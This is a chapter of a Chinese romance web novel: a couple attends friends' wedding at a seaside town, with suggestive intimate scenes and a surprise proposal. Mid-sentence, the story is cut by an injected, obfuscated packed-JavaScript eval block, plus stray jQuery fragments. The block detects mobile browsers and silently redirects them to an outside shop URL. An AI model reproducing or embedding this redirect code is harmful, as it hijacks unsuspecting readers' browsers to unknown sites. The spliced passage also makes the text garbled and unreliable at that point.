时见鹿和林北深在搬去伦敦之前,接到了林霜的请帖。
林霜邀请他们参加她和高伊的婚礼。
而他们举办婚礼的地方,正是海镇。
同时也是他们几个人第一次相遇的地方。
这天,时见鹿和林北深起了个大早。
想着林霜和高伊他们的婚礼会在海镇庆祝三天三夜,所以时见鹿早早地起来就开始收拾行李。
时见鹿这边收拾的如火如荼,而林北深那边,则在厨房悠闲地准备着他们的早餐。
时见鹿在客厅边收拾行李,边不满道:“我说我的大医生呀,你能不能快一点?”
“州市离海镇还需要两个小时的车程,我们到那里怕是赶不上他们的婚礼开场了。”
林北深不疾不徐,他一边把煎鸡蛋和火腿放在桌上,一边说:“来得及,先吃早饭。”
时见鹿没办法,只得放下行李箱,来到桌前。
看着面前盘子里金黄的煎鸡蛋,脆嫩的火腿肉,她顿时感觉饿了。
她张开嘴,对着林北深:“啊~你喂我。”
“我还得收拾剩下的行李,手脏不想动。”
林北深宠溺的看了她一眼,笑了一下:“好。”
说着,他拿了刀叉,把煎鸡蛋切成四块,接着用筷子夹起一块,放进时见鹿的嘴里。
并询问:“怎么样,好吃吗?”
时见鹿点头。
“嗯,又滑又嫩,煎鸡蛋吃起来也不干,不咸不淡,刚刚好。”
她又笑眯眯地问:“你怎么做到的?”
林北深轻轻耸了耸肩:“就只是放了一滴酱油而已。”
言下之意是,一个煎鸡蛋而已,不必拍马屁拍的那么用力。
时见鹿不管,笑眯眯地摇了摇他的手臂:“我还要你喂。”
林北深嘴角上扬,又夹了一块鸡蛋放进她嘴里。
时见鹿正咀嚼着鸡蛋,就见林北深又夹了一块火腿肉。
他缓缓的,并没有急着送进时见鹿的嘴里,而是往自己嘴里放。
脆嫩的火腿肉放到唇瓣上,他停了下来。
眼睛直勾勾的盯着时见鹿。
时见鹿似乎是下一秒就懂得他的意思。
她勾起唇,缓缓的靠近他的唇。
然后,在火腿肉的另一侧咬了一口。
林北深依旧叼着火腿肉不动,眼睛却像带了钩子,紧紧勾住她。
时见鹿不动声色吃完一口,又继续靠近,咬了一小口。
依旧没有碰到他唇瓣分毫。
林北深似乎急了,他眯了眯眼。
时见鹿这才笑着靠近他,把最后那一点火腿肉,缓缓地卷进嘴里。
她大着胆子继续往前,把林北深嘴里的那一块,也勾进了自己的口中。
温热的,湿润的触感袭来。
下一秒,时见鹿又迅速逃离,隔开距离。
林北深一愣。
显然没想到时见鹿进一步的勾引。
他眸色渐深,缓缓逼近时见鹿。
就在他的唇靠近她零点零一秒的距离,时见鹿直接用两根手指扣住了他的唇。
她娇嗔:“不能再耽搁了,再耽搁我们真的赶不上了。”
林北深不依不饶:“刚才是谁勾引我的?”
说着,纤长的手指溜进她衣摆之下。
时见鹿一个寒颤,鸡皮疙瘩迅速侵蚀全身。
时见鹿躲了躲,笑道:“别闹了,别闹。”
林北深却步步紧逼。
指尖沿着腰侧向上游走,时见鹿只觉得头皮发麻,浑身无法动弹。
半推半就之间,两人已经来到卧房。
时见鹿没来得及收进行李箱的衣物,还放在床上。
这一下又被弄乱。
盛夏蝉鸣低叫,他们漂在激烈的海岸。
时间鹿可算是见识到林北深的厉害,红起眼睛发起狠来,刀刀入肉。
时间鹿迷离的眼看着林北深,低声说:“一会儿我得多吃一点。”
林北深却看着她,眯了眯眼:“怎么?刚才没吃饱?”
时见鹿连忙摇摇头。
“饱了饱了。”
她怎么敢在一头饥餐饱腹的野兽面前说不字。
-
两人下午才姗姗来迟到达海镇的民宿。
办理了入住,时见鹿和林北深来到了他们第一次住的房间。
放好行李后,他们来到窗前,欣赏着窗外的水天相接。
时见鹿想起来什么,问林北深:“一会儿你穿什么?”
林北深想了想,从行李里面拿出来一套整齐的西装。
是深灰色三件套。
林北深换上后,问她:“怎么样?”
林北深穿起西装来,斯文败类,跃然纸上。
深灰色稀松平常的颜色,在他这里,也能衬出他一丝不苟的绝尘气质。
时见鹿勾了勾唇:“林医生,你这样让新郎情何以堪?”
林北深闻言,嘴角不自觉上扬几分。
等到时见鹿换好衣服,从卫生间出来的时候,她就知道她的目的达到了。
林北深自从看了她一眼后,视线就再也没从她身上移开。
她选了一条淡青色长裙。
清新的颜色,衬得她的肤色愈发雪白。
今天她把头发都盘了起来,露出精致而小巧的两只耳朵。
耳环是镶金钻石,在阳光下格外抢眼。
林北深看得眼睛发直,胸口随之上下起伏。
他只觉得浑身被一股流动的电流包裹着,奇痒难忍。
他上下喉结滚动,眼底忽的暗沉几分。
这边时见鹿还在他面前转圈圈,问:“怎么样?”
林北深咽了一下口水,语气平静:“不怎么样。”
“真的吗?”
时见鹿疑惑的来到全身镜前,认真前后左右地打量着自己。
“这可是我精挑细选的,周宜晴当时跟我一起,她说特别好看。”
她说着回过头:“你不会是眼光太……”
她的话还没有说完,就发现林北深已经来到她身后。
他缓缓贴近她:“你确定要穿这一件吗?”
“对呀。”
时见鹿不明所以:“这件刚好啊。你看,衬着我的腰,还有我的臀,还有胸线,都很合身啊。”
“好,那我帮你吧。”
林北深抬起手,往时见鹿身后的拉链处摸索。
“嗯。我刚刚拉链够不着,只拉了一半,正好你帮我拉上去。”
时见鹿说着,偏头拨开肩背上的长发,露出后背大片雪白肌肤。
“好。”
林北深眼底勾火,有什么东西想压怎么也压不住。
他的手摸到拉链,轻轻往下。
时见鹿感觉出来不对,正想回头。
有什么东西已经摸索了进来。
“林北深。”
她闭了闭眼:“你可不可以不要闹了?”
林北深不回答她,粗重的呼吸就在耳畔。
门外,是陈浩和李里的催促声,门内,时见鹿被人捂住嘴不发一声。
直到林霜和高伊的婚礼开场结束,时见鹿和林北深才姗姗来迟。
饭桌上,李里盯着时见鹿耳后的红印,问:“你们刚才不在房间吗?”
时见鹿抿了抿唇,点头:“对。”
声音一出,发现有些哑。
她调整了下:“我们刚才去海边走了走。”
可李里继续盯着时间鹿颈旁、还有锁骨上的红印,问:“可是我和陈浩去找你们的时候就是从海边过来,没有看见你们啊?”
时见鹿还想解释,陈浩却立即看出端倪,他扯了扯李里。
“问那么多干嘛?赶紧吃你的!”
“哦。”李里这才作罢。
不一会儿,林霜穿着婚纱从大门进场。
浪漫的音乐,台上的一双璧人,T台布置精致梦幻。
新娘新郎宣誓,互相诉说着对彼此的深情。
时见鹿在台下红了眼眶。
身旁的人递了一张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714966|205934||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纸巾过来,时见鹿连忙擦了擦眼角。
她回看身旁的男人:“我是不是很没用?”
她吸着鼻子继续:“所以我害怕参加婚礼。每次他们讲彼此的相遇,对彼此的深情,我都会很有感触,想哭。”
“感动是人之常情。”
林北深握住她的手:“如果我说我每次看爱情浪漫电影,看到男女主好不容易在一起的时候,我都会偷偷哭。”
“你会不会觉得,我也很没用?”
时见鹿愣了一下,看向林北深。
即使这只是林北深安慰她的说辞,可在她这里真的很受用。
她果然破涕而笑:“真的假的?”
林北深认真点头,“真的。”
时见鹿被逗笑,她拍了拍林北深的肩。
“没想到你是这样的林医生。”
林北深揽过她的腰,眼神有些危险。
“在你心中我是怎样的?”
时见鹿想逃,却在林北深的怀里动弹不得。
台上都在起哄着要新娘丢捧花,台下,所有的人的注意力都在新娘身上。
林北深的手指开始四处游走。
时见鹿一动不敢动,她轻声制止他。
“别闹。”
林北深的手果然不动了,他的眼神看向台上。
下一秒。
一个手捧花朝着时见鹿的头顶砸了过来。
时见鹿转身看时,就见手捧花稳稳的落到林北深的手掌心。
台下一片雷鸣般的起哄声。
“嫁给他!嫁给他!”
灯光忽然照耀了过来,聚光灯打在时见鹿和林北深的头顶。
时见鹿一脸茫然。
就见林北深缓缓单膝跪地。
他一手举着鲜花。一手捧着一个黑丝绒的小盒子。
黑丝绒盒子打开,里面是一枚闪烁的钻戒。
时见鹿愣了一下。
“你什么时候准备的……”
她的声音却被一旁的起哄声掩盖。
“嫁给他!嫁给他!”
“林医生!林医生!”
“……”
林北深将钻戒举到她面前,深情款款地对着她开口。
“时见鹿,我瞒着你买钻戒瞒的好辛苦。”
周边一阵哄笑声。
雷鸣般的掌声再次响起。
“其实我年前就已经在准备了,我还准备了好多版本。”
他看向时见鹿:“你想听吗?”
时见鹿眼里有幸福的泪花,她用力的点点头。
林北深接着说:“之前在医院找你去体检,你居然真的很认真在体检。根本就没有听我在说什么,所以我的第一次安排失败了。就连陈奇和李玉都笑我,说我在你面前变成了傻瓜。”
时见鹿闻言,想了想。
怪不得那次去体检,林北深的表情很奇怪。
像是一直在找机会跟她说什么,但是当时的她太过执着于体检流程和结果。
林北深又继续:“另一次,是在周宜晴和周以的家里。”
“周宜晴和周以都把你骗到院子里了,小黎他们还都在屋子里面躲了起来。当时我刚想说话,你就被蚊子咬的无处可逃,我又只能灰溜溜的跟你回屋,帮你找止蚊药。
“直到今天。”
林北深真切地看着她的眼,他说:“今天,我总算像骑士一样跪在你的面前。”
“说出那一句我一直想对你说的话。”
时见鹿红了眼框,觉得好笑,又有些感动。
他们这段时间几乎形影不离,要找时间买钻戒,还能不让她发现,确实不易。
更不知道的是,他原来已经计划了那么多。
但这些都不重要了。
因为林北深的眼底有希翼,有认真,还有对未来的深情渴望。
他说:“时见鹿,你愿意嫁给我吗?”
时见鹿捂住涨红的脸颊,擦了擦眼角留下的幸福泪。
她对着他伸出手,她说。
“Yes,Ido.”